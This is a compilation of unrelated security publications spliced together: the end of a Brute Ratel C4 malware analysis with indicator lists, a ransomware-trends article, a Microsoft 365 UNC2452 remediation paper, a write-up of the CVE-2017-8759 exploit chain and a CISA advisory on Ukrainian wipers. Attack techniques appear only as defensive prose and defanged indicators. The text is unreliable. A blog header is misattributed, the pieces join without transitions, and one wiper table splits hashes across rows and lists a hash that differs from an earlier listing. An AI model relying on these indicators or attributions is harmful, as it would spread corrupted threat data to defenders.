When badger_x64.exe is finished with the push and mov instructions, it makes the same Windows API calls as OneDrive.Update using API hashing, but does not use direct syscall (a user configuration feature of Brute Ratel C4).
## Badger_x64.exe Employment
After validating that badger_x64.exe and OneDrive.Update were both BRc4 payloads, we set to work analyzing the employment of this second sample. VirusTotal records revealed that the sample was uploaded by a web user in Ukraine on May 20, 2022. Coincidentally, this happens to be one day after the Roshan_CV.ISO file was uploaded.
As noted above, the sample was configured to call home to 159.65.186[.]50 on port 443. Palo Alto Networks Cortex Xpanse history shows that this port was open from May 21-June 18, 2022, with the same “Microsoft Security” self-signed SSL certificate seen above. Given this timeline, it's worth noting that the sample was actually uploaded to VirusTotal prior to the C2 infrastructure being configured to listen for the callbacks.
Evaluating netflow connections for 159.65.186[.]50 during this time window revealed several connections to ports 22, 443, and 8060 originating from a Ukrainian IP (213.200.56[.]105). We assess this Ukrainian address is likely a residential user IP that was leveraged to administer the C2 infrastructure. A deeper look at connections in and out of 213.200.56[.]105 further revealed several flows over UDP port 33445. This port is commonly used by Tox, a secure peer-to-peer chat and video application that offers end-to-end encryption.
Examining additional connections to port 443 on 159.65.186[.]50, we identified several suspected victims including an Argentinian organization, an IP television provider providing North and South American content, and a major textile manufacturer in Mexico. Coincidentally, recent attempts to browse the textile manufacturer’s website result in a 500 internal server error message.
Given the geographic dispersion of these victims, the upstream connection to a Ukrainian IP, and several other factors, we believe it is highly unlikely that BRc4 was deployed in support of legitimate and sanctioned penetration testing activities.
## Other Samples and Infrastructure
Over the past year, the fake Microsoft Security X.509 certificate has been linked to 41 IP addresses. These addresses follow a global geographic dispersion and are predominantly owned by large virtual private server (VPS) hosting providers. Expanding our research beyond the two samples discussed above, we have also identified an additional seven samples of BRc4 dating back to February 2021.
## Protections and Mitigations
For Palo Alto Networks customers, our products and services provide the following coverage associated with this group:
- Threat Prevention provides protection against Brute Ratel C4. The "Brute Ratel C4 Tool Command and Control Traffic Detections" signature is threat ID 86647.
- Cortex XDR detects and protects endpoints from the Brute Ratel C4 tool.
- WildFire cloud-based threat analysis service accurately identifies Brute Ratel C4 samples as malware.
## Conclusion
The emergence of a new penetration testing and adversary emulation capability is significant. Yet more alarming is the effectiveness of BRc4 at defeating modern defensive EDR and AV detection capabilities. Over the past 2.5 years, this tool has evolved from a part-time hobby to a full-time development project with a growing customer base. As this customer base has expanded into the hundreds, the tool has gained increased attention across the cybersecurity domain from both legitimate penetration testers as well as malicious cyber actors.
The analysis of the two samples described in this blog, as well as the advanced tradecraft used to package these payloads, make it clear that malicious cyber actors have begun to adopt this capability. We believe it is imperative that all security vendors create protections to detect BRc4 and that all organizations take proactive measures to defend against this tool.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.
**Note:** The Microsoft name and logo shown are an attempt to impersonate a legitimate organization and do not represent an actual affiliation with Microsoft. This impersonation does not imply a vulnerability in Microsoft’s products or services.
## Indicators of Compromise
**Brute Ratel C4 ISO Samples:**
- 1FC7B0E1054D54CE8F1DE0CC95976081C7A85C7926C03172A3DDAA672690042C
**X64 Brute Ratel C4 Windows Kernel Module:**
- 31ACF37D180AB9AFBCF6A4EC5D29C3E19C947641A2D9CE3CE56D71C1F576C069
**APT29 ISO Samples:**
- F58AE9193802E9BAF17E6B59E3FDBE3E9319C5D27726D60802E3E82D30D14D46
**X64 Brute Ratel C4 Samples:**
- 3ED21A4BFCF9838E06AD3058D13D5C28026C17DC996953A22A00F0609B0DF3B9
- 3AD53495851BAFC48CAF6D2227A434CA2E0BEF9AB3BD40ABFE4EA8F318D37BBE
- 973F573CAB683636D9A70B8891263F59E2F02201FFB4DD2E9D7ECBB1521DA03E
- DD8652E2DCFE3F1A72631B3A9585736FBE77FFABEE4098F6B3C48E1469BF27AA
- E1A9B35CF1378FDA12310F0920C5C53AD461858B3CB575697EA125DFEE829611
- EF9B60AA0E4179C16A9AC441E0A21DC3A1C3DC04B100EE487EABF5C5B1F571A6
- D71DC7BA8523947E08C6EEC43A726FE75AED248DFD3A7C4F6537224E9ED05F6F
- 5887C4646E032E015AA186C5970E8F07D3ED1DE8DBFA298BA4522C89E547419B
**Malicious DLLs:**
- EA2876E9175410B6F6719F80EE44B9553960758C7D0F7BED73C0FE9A78D8E669
**Malicious Encrypted Payloads:**
- B5D1D3C1AEC2F2EF06E7D0B7996BC45DF4744934BD66266A6EBB02D70E35236E
**X.509 Cert SHA1s:**
- 55684a30a47476fce5b42cbd59add4b0fbc776a3
- 66aab897e33b3e4d940c51eba8d07f5605d5b275
**Infrastructure linked to X.509 Certs or Samples:**
- 104.6.92[.]229
- 137.184.199[.]17
- 138.68.50[.]218
- 138.68.58[.]43
- 139.162.195[.]169
- 139.180.187[.]179
- 147.182.247[.]103
- 149.154.100[.]151
- 15.206.84[.]52
- 159.223.49[.]16
- 159.65.186[.]50
- 162.216.240[.]61
- 172.105.102[.]247
- 172.81.62[.]82
- 174.129.157[.]251
- 178.79.143[.]149
- 178.79.168[.]110
- 178.79.172[.]35
- 18.133.26[.]247
- 18.130.233[.]249
- 18.217.179[.]8
- 18.236.92[.]31
- 185.138.164[.]112
- 194.29.186[.]67
- 194.87.70[.]14
- 213.168.249[.]232
- 3.110.56[.]219
- 3.133.7[.]69
- 31.184.198[.]83
- 34.195.122[.]225
- 34.243.172[.]90
- 35.170.243[.]216
- 45.144.225[.]3
- 45.76.155[.]71
- 45.79.36[.]192
- 52.48.51[.]67
- 52.90.228[.]203
- 54.229.102[.]30
- 54.90.137[.]213
- 89.100.107[.]65
- 92.255.85[.]173
- 92.255.85[.]44
- 94.130.130[.]43
- ds.windowsupdate.eu[.]org |
# The PhishLabs Blog
Get The Latest Insights |
# What's Behind the Increase in Ransomware Attacks This Year?
**Andy Auld**
Head of Cyber Crime Intelligence, Cyber Threat Operations, PwC United Kingdom
In May, we reported a spike in cyber security incidents which had caused a significant impact on organisations already dealing with the challenges posed by the COVID-19 pandemic. Many of these incidents were the result of ransomware attacks and some of them had been accompanied by data breaches. Since then, analysis by our Threat Intelligence team has shown that the pace and frequency of ransomware attacks have risen. In this update, we take a closer look at the trends driving the growth in these incidents.
## The Number of Ransomware Actors is Increasing
There has been a sharp increase in the number of ransomware operations this year, following a trend already established in 2019. This is likely the result of the high profile of ransomware incidents and, in cases where details of ransom payments have entered the public domain, the perceived profitability of human-operated ransomware attacks. This is attracting new players into the market. Recent arrivals include the ransomware systems Avaddon, Darkside, Smaug, and SunCrypt.
The growth in ransomware operations is not confined to new actors. Many established criminal groups have already added ransomware to their portfolios. Banking trojans such as Emotet, Dridex, and TrickBot are now more commonly used as the initial delivery mechanism in highly targeted ransomware attacks. The latest threat actor to make this switch is QakBot, which since March 2020 has been used in the delivery of ProLock and DoppelPaymer ransomware.
The shift by established criminal actors towards ransomware is likely driven by opportunity costs. Successful online banking attacks rely on complex money laundering operations to receive stolen funds and transfer the proceeds to bank accounts under criminal control. The specialist criminals who provide money laundering services demand high commissions, whereas ransom payments are usually direct to cryptocurrency wallets already controlled by the attackers. As a consequence, ransomware operations are almost certainly more profitable than online banking attacks.
## Because the Barriers to Entry are Dropping
Ransomware operations can be grouped into three broad categories: private schemes, affiliate programmes, and builders.
### Private Schemes
We assess that several of the most significant ransomware threats, including Ryuk/Conti and WastedLocker, are run privately. They are operated by criminal enterprises whose leadership has been active for over a decade and which comprise many of the most sophisticated and experienced criminal actors we currently track. These actors are largely secretive and do not participate in the criminal forums or marketplaces frequented by less-established actors; instead, they either have all of the resources they need in-house, or where they do need to bring in external expertise, they employ private communication channels to do so.
### Affiliate Programmes
Ransomware operators such as Sodinokibi, NetWalker, and Nefilim are run as affiliate programmes. The threat actors are responsible for the development and management of the malware. They provide access to the ransomware to their affiliates whose role is to conduct attacks. The funds extorted from victims are divided between the ransomware operators and their affiliates in pre-agreed, profit-sharing arrangements. This enables actors with network intrusion and exploitation skills to acquire access to ransomware capabilities they could not easily develop themselves, reducing the barriers to entry.
### Ransomware-as-a-Service (RaaS)
In RaaS schemes, the developer sells access to the malware for a one-off fee. The products are usually marketed as “builders”, in that the purchaser can configure the ransomware through a graphic user interface (GUI) which then compiles the malware into a working binary. In addition to a one-off fee, some RaaS schemes offer a subscription service which provides users with “rebuilds” to reduce antivirus detections and/or updates when new features become available.
RaaS schemes are sold on criminal marketplaces and many are marketed as a better alternative to affiliate programmes: after the initial purchase is made, the actor keeps 100% of any revenue generated from their attacks. RaaS schemes have all but removed the entry bar to ransomware operations as all that is required to obtain a working malware package is the funds to make the purchase and access to the criminal marketplaces where they are sold.
In general, RaaS actors tend to target SMEs, whereas affiliate programmes and private ransomware operations are more likely to attack larger organisations. This is because RaaS customers often do not possess the requisite skills needed to attack and exploit large, complex networks.
## Ransomware Operations are Scalable
The arrival of new ransomware groups, the proliferation of RaaS schemes, and the fact that established criminal actors have added ransomware operations to their activities have all led to an increase in attacks. But another key factor is that many ransomware operations are inherently scalable. High-profile affiliate programmes like Sodinokibi and NetWalker have actively recruited new partners.
The income of affiliate programmes and the amount of attacks they are able to sustain are a function of the number and effectiveness of the affiliates that threat actors have recruited. This has introduced a degree of competition between rival affiliate programmes, as they try to attract high-quality candidates to expand their operations. For example, the threat actor controlling Sodinokibi expects to retain 30-40% of the revenue generated by its affiliates, whereas a selling point of the NetWalker scheme is that successful partners can retain 80-90% of the proceeds of their attacks.
## Established Players are Raising Their Game
Two of the most established and prominent ransomware threat actors have upgraded their systems in 2020. BitPaymer, a ransomware variant operated by the threat actor with the self-styled name “Evil Corp” (a.k.a. the Dridex Group), was first introduced in 2017. Although the threat actor added some incremental improvements to the code, the core system has remained largely unchanged since its introduction. In 2020, “Evil Corp” launched a new ransomware project known as WastedLocker, which was responsible for high profile attacks from the outset. Unlike BitPaymer, which was partially derived from the source code for the Dridex banking trojan, WastedLocker has been written from scratch.
Ryuk, one of the most serious ransomware threats to organisations, was first introduced in 2018. Ryuk operations were at a high tempo throughout 2019 which continued into Q1 of 2020. Since then, a new ransomware variant known as Conti has emerged. Like WastedLocker, Conti has been written from scratch, but based on coding similarities and the naming conventions used in files and commands, we assess it has been written by the threat actor in control of Ryuk.
We don't know why these high-level threat actors have introduced completely new systems, but it is likely that the rapid growth in ransomware threats has resulted in some potential targets having a better awareness of, and preparedness for, attacks. The threat actors have therefore modernised their toolsets in an attempt to retain the initiative.
## Data Leaks Have Grown Exponentially
As we noted in May, the actors in control of Maze ransomware began a trend by creating a site where they posted data stolen from victims prior to the encryption of their files. The purpose of the leak site was to increase the level of coercion on new victims by making an example of those who refused to pay Maze’s ransom demands.
Since then, the number of actors with currently active leak sites has risen to 15 (or 18 if discontinued leak sites are also counted), including those in control of private ransomware systems such as DoppelPaymer, Conti, and CL0P. The rate and frequency of leaks has grown rapidly, with 80% of data leaks occurring since the beginning of May.
There are risks associated with attempting to assess the level of threat posed by different ransomware actors purely on the level of activity on their leak sites:
- Leak sites normally only display data on victims who have refused to accede to the attacker’s ransom demands, so it is impossible to gauge how successful individual actors are in coercing payments from victims.
- Some key ransomware actors, for example WastedLocker, do not use leak sites at all, preferring to operate beneath the radar. Others, such as ProLock, are known to exfiltrate data but do not operate a leak site. However, some of these actors are likely to sell stolen information that can be used for identity theft or card fraud on specialist criminal marketplaces.
- Attackers do not always succeed in exfiltrating data from their victims but have still encrypted their victim’s files.
Nevertheless, the quantity and rate at which data is posted to leak sites may provide some insight into the scale and tempo of different ransomware operations. It is notable that Maze accounts for almost 40% of all data leaks and that they have posted data continuously since February this year. The actors in control of Conti began leaking data no earlier than the end of July, but in a little over six weeks have accounted for 13% of all leaks by ransomware actors.
## Conclusion
Ransomware attacks affect practically every business sector and are growing in intensity. This is fuelled by an influx of new ransomware actors, the expansion of existing affiliate schemes, and the pursuit of improved revenues by established cyber crime actors. The barriers to entry into ransomware operations have been lowered by RaaS schemes which means that SMEs are as much at risk from a ransomware attack as large organisations, despite high profile incidents by “big game hunters” such as WastedLocker and DoppelPaymer grabbing the headlines. |
# White Paper: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452
## Overview
### Background
In December 2020, FireEye uncovered and publicly disclosed a widespread campaign conducted by the threat group we track as UNC2452. In some intrusions associated with this campaign, the attacker used their access to on-premises networks to gain unauthorized access to the victim’s Microsoft 365 environment.
### Goals and Objectives
UNC2452 and other threat actors have used several methodologies to move laterally from on-premises networks to the cloud, specifically Microsoft 365. This paper will help organizations understand these techniques used by UNC2452, how to proactively harden their environments, and how to remediate environments where similar techniques have been observed. It is important to note that there is no formal security boundary between on-premises networks and cloud services provided by Microsoft 365. If an organization discovers evidence of targeted threat actor activity in their on-premises network, a thorough review of the cloud environment is often necessary as well. Organizations can use the Azure AD Investigator auditing script, available from the FireEye GitHub repository, to check their Microsoft 365 tenants for indicators relative to the techniques detailed throughout this paper.
## Attacker Tactics, Techniques and Procedures (TTPs)
Mandiant has observed UNC2452 and other threat actors moving laterally to the Microsoft 365 cloud using a combination of five primary techniques:
1. Steal the Active Directory Federation Services (AD FS) token-signing certificate and use it to forge tokens for arbitrary users (Golden SAML).
2. Modify or add trusted domains in Azure AD to add a new federated Identity provider (IdP) that the attacker controls.
3. Compromise the credentials of on-premises user accounts that are synchronized to Microsoft 365 and are assigned high privileged directory roles.
4. Hijack an existing Microsoft 365 application by adding a rogue credential to it.
5. Modify the permissions of folders in a victim mailbox to make its contents readable by any other user in the victim’s Microsoft 365 environment.
## Remediation Strategy
Developing a successful strategy to eradicate UNC2452 access to a victim’s environment is contingent upon many factors, so each organization must develop their own unique plan. Two of the most important factors are the actions taken by the attacker and the specifics of the victim’s environment.
### Remediation Sequencing
Timing and sequencing are critical for the successful execution of a remediation plan, especially if an attacker remains active during the containment and eradication timeframes. To maximize the probability of fully eradicating this threat actor from hybrid Microsoft 365 environments, Mandiant recommends sequencing the remediation plan to:
1. Regain control of the on-premises environment.
2. Rotate secrets and credentials to regain control of the Microsoft 365 environment and fully eradicate all attacker access.
To accomplish these two goals, consider executing a plan similar to the following, in order of operation:
1. Implement short-term hardening measures to mitigate the risk of similar attacks.
2. Eliminate any attacker remote access to the on-premises environment.
3. Rotate impacted on-premises credentials.
4. Rotate the AD FS token-signing and token-decrypting certificates used with SAML tokens.
5. Rotate credentials for impacted cloud accounts.
6. Remove attacker-created identity providers and custom domains.
7. Remove attacker certificates and passwords from applications and service principals.
8. Revoke all existing refresh tokens for Microsoft 365.
## AD FS Attack Mitigation
### Attack Technique: Golden SAML Attack
Active Directory Federation Services (AD FS) provides an on-premises authentication workflow for cloud-based resources. The foundation of the security of AD FS is the confidentiality of the token-signing certificate, which is used to digitally sign SAML tokens issued by the AD FS service. If an attacker is able to connect to an on-premises AD FS server and has credentials for either the service account that runs the AD FS service or an account that has local administrative permissions on AD FS servers, this provides the threat actor with the access needed to extract the token-signing certificate.
#### Remediation
1. Issue new certificates on the AD FS server(s) and synchronize them to Azure AD.
2. Immediately revoke all existing refresh tokens for the Microsoft 365 tenant.
### Hardening
Proactive hardening steps can be leveraged to secure on-premises AD FS infrastructure:
- Configure a Group Managed Service Account (gMSA) for AD FS services.
- Review AD FS Logging and Auditing Settings.
- Review Account and Network Access Restrictions for AD FS Servers.
## Microsoft 365 Attack Mitigation
### Attack Technique: Modify Trusted Domains
A threat actor could modify the federation settings for an existing domain by configuring a new, secondary, token-signing certificate. This would allow for an attack similar to Golden SAML where the threat actor controls a private key that is able to digitally sign SAML tokens.
#### Detection
The Azure AD Audit log and Unified Audit log record when a domain is configured for federated authentication and the modification of federated realm objects. Organizations should create rules to alert on the log events generated by these activities and audit them to ensure they are legitimate.
### Attack Technique: Abuse Azure AD Privileged Roles
Azure Active Directory uses the concept of roles to confer administrative privileges. Organizations should review the scope of accounts assigned privileged permissions and roles in Microsoft 365.
#### Remediation
1. Review Accounts assigned Privileged Roles.
2. Rotate All Passwords for Cloud-Only Accounts.
3. Invalidate Refresh Tokens for Each Cloud-Only Account.
### Attack Technique: Hijack Azure AD Applications
Mandiant has observed UNC2452 adding additional certificates or secrets to existing applications and service principals.
#### Remediation
1. Review and Remediate Keys Associated with Service Principals and Applications.
2. Invalidate All Existing Refresh Tokens.
### Attack Technique: Modify Mailbox Folder Permissions
Mailbox folder permissions can be assigned through either individual folder permissions or roles. By default, the access right of None is assigned to both the Default and Anonymous user on each mailbox in the tenant.
## Conclusion
Organizations must remain vigilant and proactive in their security measures to defend against threats like UNC2452. By understanding the tactics, techniques, and procedures used by attackers, and implementing robust remediation and hardening strategies, organizations can better protect their Microsoft 365 environments. |
# Threat Research: CVE-2017-8759 Exploitation
FireEye recently detected a malicious Microsoft Office RTF document that leveraged CVE-2017-8759, a SOAP WSDL parser code injection vulnerability. This vulnerability allows a malicious actor to inject arbitrary code during the parsing of SOAP WSDL definition contents. FireEye analyzed a Microsoft Word document where attackers used the arbitrary code injection to download and execute a Visual Basic script that contained PowerShell commands.
FireEye shared the details of the vulnerability with Microsoft and has been coordinating public disclosure timed with the release of a patch to address the vulnerability and security guidance. FireEye email, endpoint, and network products detected the malicious documents.
The malicious document, “Проект.doc” (MD5: fe5c4d6bb78e170abf5cf3741868ea4c), might have been used to target a Russian speaker. Upon successful exploitation of CVE-2017-8759, the document downloads multiple components and eventually launches a FINSPY payload (MD5: a7b990d5f57b244dd17e9a937a41e7f5).
FINSPY malware, also reported as FinFisher or WingBird, is available for purchase as part of a “lawful intercept” capability. Based on this and previous use of FINSPY, we assess with moderate confidence that this malicious document was used by a nation-state to target a Russian-speaking entity for cyber espionage purposes. Additional detections by FireEye’s Dynamic Threat Intelligence system indicate that related activity, though potentially for a different client, might have occurred as early as July 2017.
A code injection vulnerability exists in the WSDL parser module within the PrintClientProxy method. The IsValidUrl does not perform correct validation if provided data that contains a CRLF sequence. This allows an attacker to inject and execute arbitrary code. A portion of the vulnerable code is shown in Figure 1.
When multiple address definitions are provided in a SOAP response, the code inserts the “//base.ConfigureProxy(this.GetType(),” string after the first address, commenting out the remaining addresses. However, if a CRLF sequence is in the additional addresses, the code following the CRLF will not be commented out. Figure 2 shows that due to lack of validation of CRLF, a System.Diagnostics.Process.Start method call is injected. The generated code will be compiled by csc.exe of .NET framework and loaded by the Office executables as a DLL.
The attacks that FireEye observed in the wild leveraged a Rich Text Format (RTF) document, similar to the CVE-2017-0199 documents we previously reported on. The malicious sample contained embedded SOAP monikers to facilitate exploitation. The payload retrieves the malicious SOAP WSDL definition from an attacker-controlled server. The WSDL parser, implemented in System.Runtime.Remoting.ni.dll of .NET framework, parses the content and generates a .cs source code at the working directory. The csc.exe of .NET framework then compiles the generated source code into a library, namely http[url path].dll. Microsoft Office then loads the library, completing the exploitation stage.
Upon successful exploitation, the injected code creates a new process and leverages mshta.exe to retrieve a HTA script named “word.db” from the same server. The HTA script removes the source code, compiled DLL, and the PDB files from disk and then downloads and executes the FINSPY malware named “left.jpg,” which, in spite of the .jpg extension and “image/jpeg” content-type, is actually an executable.
The malware will be placed at %appdata%\Microsoft\Windows\OfficeUpdte-KB[6 random numbers].exe. The “left.jpg” (md5: a7b990d5f57b244dd17e9a937a41e7f5) is a variant of FINSPY. It leverages heavily obfuscated code that employs a built-in virtual machine – among other anti-analysis techniques – to make reversing more difficult. As likely another unique anti-analysis technique, it parses its own full path and searches for the string representation of its own MD5 hash. Many resources, such as analysis tools and sandboxes, rename files/samples to their MD5 hash in order to ensure unique filenames. This variant runs with a mutex of "WininetStartupMutex0".
CVE-2017-8759 is the second zero-day vulnerability used to distribute FINSPY uncovered by FireEye in 2017. These exposures demonstrate the significant resources available to “lawful intercept” companies and their customers. Furthermore, FINSPY has been sold to multiple clients, suggesting the vulnerability was being used against other targets.
It is possible that CVE-2017-8759 was being used by additional actors. While we have not found evidence of this, the zero-day being used to distribute FINSPY in April 2017, CVE-2017-0199, was simultaneously being used by a financially motivated actor. If the actors behind FINSPY obtained this vulnerability from the same source used previously, it is possible that source sold it to additional actors.
Thank you to Dhanesh Kizhakkinan, Joseph Reyes, FireEye Labs Team, FireEye FLARE Team, and FireEye iSIGHT Intelligence for their contributions to this blog. We also thank everyone from the Microsoft Security Response Center (MSRC) who worked with us on this issue. |
# Destructive Malware Targeting Organizations in Ukraine
## SUMMARY
Leading up to Russia’s unprovoked attack against Ukraine, threat actors deployed destructive malware against organizations in Ukraine to destroy computer systems and render them inoperable.
- On January 15, 2022, the Microsoft Threat Intelligence Center (MSTIC) disclosed that malware, known as WhisperGate, was being used to target organizations in Ukraine. According to Microsoft, WhisperGate is intended to be destructive and is designed to render targeted devices inoperable.
- On February 23, 2022, several cybersecurity researchers disclosed that malware known as HermeticWiper was being used against organizations in Ukraine. According to Sentinel Labs, the malware targets Windows devices, manipulating the master boot record, which results in subsequent boot failure.
Destructive malware can present a direct threat to an organization’s daily operations, impacting the availability of critical assets and data. Further disruptive cyberattacks against organizations in Ukraine are likely to occur and may unintentionally spill over to organizations in other countries. Organizations should increase vigilance and evaluate their capabilities encompassing planning, preparation, detection, and response for such an event.
This joint Cybersecurity Advisory (CSA) between the Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI) provides information on WhisperGate and HermeticWiper malware as well as open-source indicators of compromise (IOCs) for organizations to detect and prevent the malware. Additionally, this joint CSA provides recommended guidance and considerations for organizations to address as part of network architecture, security baseline, continuous monitoring, and incident response practices.
## TECHNICAL DETAILS
Threat actors have deployed destructive malware, including both WhisperGate and HermeticWiper, against organizations in Ukraine to destroy computer systems and render them inoperable. Listed below are high-level summaries of campaigns employing the malware. CISA recommends organizations review the resources listed below for more in-depth analysis and see the Mitigation section for best practices on handling destructive malware.
On January 15, 2022, Microsoft announced the identification of a sophisticated malware operation targeting multiple organizations in Ukraine. The malware, known as WhisperGate, has two stages that corrupt a system’s master boot record, display a fake ransomware note, and encrypt files based on certain file extensions. Note: although a ransomware message is displayed during the attack, Microsoft highlighted that the targeted data is destroyed and is not recoverable even if a ransom is paid.
### Table 1: IOCs associated with WhisperGate
| Name | File Category | File Hash | Source |
|--------------|---------------|----------------------------------------------------|-----------|
| WhisperGate | stage1.exe | a196c6b8ffcb97ffb276d04f354696e2391311 | Microsoft |
| | | db3841ae16c8c9f56f36a38e92 | MSTIC |
| WhisperGate | stage2.exe | dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5 | Microsoft |
| | | 329958d38b58c3fd9384081c9b78 | MSTIC |
On February 23, 2022, cybersecurity researchers disclosed that malware known as HermeticWiper was being used against organizations in Ukraine. According to Sentinel Labs, the malware targets Windows devices, manipulating the master boot record and resulting in subsequent boot failure. Note: according to Broadcom, “[HermeticWiper] has some similarities to the earlier WhisperGate wiper attacks against Ukraine, where the wiper was disguised as ransomware.”
### Table 2: IOCs associated with HermeticWiper
| Name | File Category | File Hash | Source |
|-----------------------|---------------|---------------------------------------------------|-----------|
| Win32/KillDisk.N | Trojan | 912342F1C840A42F6B74132F8A7C4FFE7 | ESET |
| | | D40FB77 | research |
| | | 61B25D11392172E587D8DA3045812A66C3385451 | |
| HermeticWiper | Win32 EXE | 912342f1c840a42f6b74132f8a7c4ffe7d40fb77 | Sentinel |
| HermeticWiper | Win32 EXE | 61b25d11392172e587d8da3045812a66c33885451 | Sentinel |
| RCDATA_DRV_X64 | ms-compressed | a952e288a1ead66490b3275a807f52e5 | Sentinel |
| RCDATA_DRV_X86 | ms-compressed | 231b3385ac17e41c5bb1b1fcb59599c4 | Sentinel |
| RCDATA_DRV_XP_X64 | ms-compressed | 095a1678021b034903c85dd5acb447ad | Sentinel |
| RCDATA_DRV_XP_X86 | ms-compressed | eb845b7a16ed82bd248e395d9852f467 | Sentinel |
| Trojan.Killdisk | Trojan.Killdisk| 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 | Symantec |
| Trojan.Killdisk | Trojan.Killdisk| 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da | Symantec |
| Trojan.Killdisk | Trojan.Killdisk| a64c3e0522fad787b95bfb6a30c3aed1b5786e69e88e023c062ec7e5cebf4d3e | Symantec |
| Ransomware | Trojan.Killdisk| 4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382 | Symantec |
## MITIGATIONS
### Best Practices for Handling Destructive Malware
As previously noted, destructive malware can present a direct threat to an organization’s daily operations, impacting the availability of critical assets and data. Organizations should increase vigilance and evaluate their capabilities, encompassing planning, preparation, detection, and response for such an event. This section is focused on the threat of malware using enterprise-scale distributed propagation methods and provides recommended guidance and considerations for an organization to address as part of their network architecture, security baseline, continuous monitoring, and incident response practices.
CISA and the FBI urge all organizations to implement the following recommendations to increase their cyber resilience against this threat.
### Potential Distribution Vectors
Destructive malware may use popular communication tools to spread, including worms sent through email and instant messages, Trojan horses dropped from websites, and virus-infected files downloaded from peer-to-peer connections. Malware seeks to exploit existing vulnerabilities on systems for quiet and easy access.
The malware has the capability to target a large scope of systems and can execute across multiple systems throughout a network. As a result, it is important for organizations to assess their environment for atypical channels for malware delivery and/or propagation throughout their systems. Systems to assess include:
- Enterprise applications – particularly those that have the capability to directly interface with and impact multiple hosts and endpoints. Common examples include:
- Patch management systems
- Asset management systems
- Remote assistance software (typically used by the corporate help desk)
- Antivirus (AV) software
- Systems assigned to system and network administrative personnel
- Centralized backup servers
- Centralized file shares
While not only applicable to malware, threat actors could compromise additional resources to impact the availability of critical data and applications. Common examples include:
- Centralized storage devices
- Potential risk – direct access to partitions and data warehouses.
- Network devices
- Potential risk – capability to inject false routes within the routing table, delete specific routes from the routing table, remove/modify configuration attributes, or destroy firmware or system binaries—which could isolate or degrade availability of critical network resources.
### Best Practices and Planning Strategies
Common strategies can be followed to strengthen an organization’s resilience against destructive malware. Targeted assessment and enforcement of best practices should be employed for enterprise components susceptible to destructive malware.
#### Communication Flow
- Ensure proper network segmentation.
- Ensure that network-based access control lists (ACLs) are configured to permit server-to-host and host-to-host connectivity via the minimum scope of ports and protocols and that directional flows for connectivity are represented appropriately.
- Communications flow paths should be fully defined, documented, and authorized.
- Increase awareness of systems that can be used as a gateway to pivot (lateral movement) or directly connect to additional endpoints throughout the enterprise.
- Ensure that these systems are contained within restrictive Virtual Local Area Networks (VLANs), with additional segmentation and network access controls.
- Ensure that centralized network and storage devices’ management interfaces reside on restrictive VLANs.
- Layered access control, and
- Device-level access control enforcement – restricting access from only pre-defined VLANs and trusted IP ranges.
#### Access Control
- For enterprise systems that can directly interface with multiple endpoints:
- Require multifactor authentication for interactive logons.
- Ensure that authorized users are mapped to a specific subset of enterprise personnel.
- If possible, the “Everyone,” “Domain Users,” or the “Authenticated Users” groups should not be permitted the capability to directly access or authenticate to these systems.
- Ensure that unique domain accounts are used and documented for each enterprise application service.
- Context of permissions assigned to these accounts should be fully documented and configured based upon the concept of least privilege.
- Provides an enterprise with the capability to track and monitor specific actions correlating to an application’s assigned service account.
- If possible, do not grant a service account with local or interactive logon permissions.
- Service accounts should be explicitly denied permissions to access network shares and critical data locations.
- Accounts that are used to authenticate to centralized enterprise application servers or devices should not contain elevated permissions on downstream systems and resources throughout the enterprise.
- Continuously review centralized file share ACLs and assigned permissions.
- Restrict Write/Modify/Full Control permissions when possible.
#### Monitoring
- Audit and review security logs for anomalous references to enterprise-level administrative (privileged) and service accounts.
- Failed logon attempts
- File share access
- Interactive logons via a remote session
- Review network flow data for signs of anomalous activity, including:
- Connections using ports that do not correlate to the standard communications flow associated with an application
- Activity correlating to port scanning or enumeration
- Repeated connections using ports that can be used for command and control purposes
- Ensure that network devices log and audit all configuration changes.
- Continually review network device configurations and rule sets to ensure that communications flows are restricted to the authorized subset of rules.
#### File Distribution
- When deploying patches or AV signatures throughout an enterprise, stage the distributions to include a specific grouping of systems (staggered over a predefined period).
- This action can minimize the overall impact in the event that an enterprise patch management or AV system is leveraged as a distribution vector for a malicious payload.
- Monitor and assess the integrity of patches and AV signatures that are distributed throughout the enterprise.
- Ensure updates are received only from trusted sources
- Perform file and data integrity checks
- Monitor and audit – as related to the data that is distributed from an enterprise application.
#### System and Application Hardening
- Ensure robust vulnerability management and patching practices are in place.
- CISA maintains a living catalog of known exploited vulnerabilities that carry significant risk to federal agencies as well as public and private sector entities. In addition to thoroughly testing and implementing vendor patches in a timely—and, if possible, automated—manner, organizations should ensure patching of the vulnerabilities CISA includes in this catalog.
- Ensure that the underlying operating system (OS) and dependencies (e.g., Internet Information Services [IIS], Apache, Structured Query Language [SQL]) supporting an application are configured and hardened based upon industry-standard best practice recommendations. Implement application-level security controls based on best practice guidance provided by the vendor. Common recommendations include:
- Use role-based access control
- Prevent end-user capabilities to bypass application-level security controls
- For example, do not allow users to disable AV on local workstations.
- Remove, or disable unnecessary or unused features or packages
- Implement robust application logging and auditing.
### Recovery and Reconstitution Planning
A business impact analysis (BIA) is a key component of contingency planning and preparation. The overall output of a BIA will provide an organization with two key components (as related to critical mission/business operations):
- Characterization and classification of system components
- Interdependencies
Based upon the identification of an organization’s mission-critical assets (and their associated interdependencies), in the event that an organization is impacted by destructive malware, recovery and reconstitution efforts should be considered.
To plan for this scenario, an organization should address the availability and accessibility for the following resources (and should include the scope of these items within incident response exercises and scenarios):
- Comprehensive inventory of all mission-critical systems and applications:
- Versioning information
- System/application dependencies
- System partitioning/storage configuration and connectivity
- Asset owners/points of contact
- Contact information for all essential personnel within the organization
- Secure communications channel for recovery teams
- Contact information for external organizational-dependent resources:
- Communication providers
- Vendors (hardware/software)
- Outreach partners/external stakeholders
- Service contract numbers – for engaging vendor support
- Organizational procurement points of contact
- Optical disc image (ISO)/image files for baseline restoration of critical systems and applications:
- OS installation media
- Service packs/patches
- Firmware
- Application software installation packages
- Licensing/activation keys for OS and dependent applications
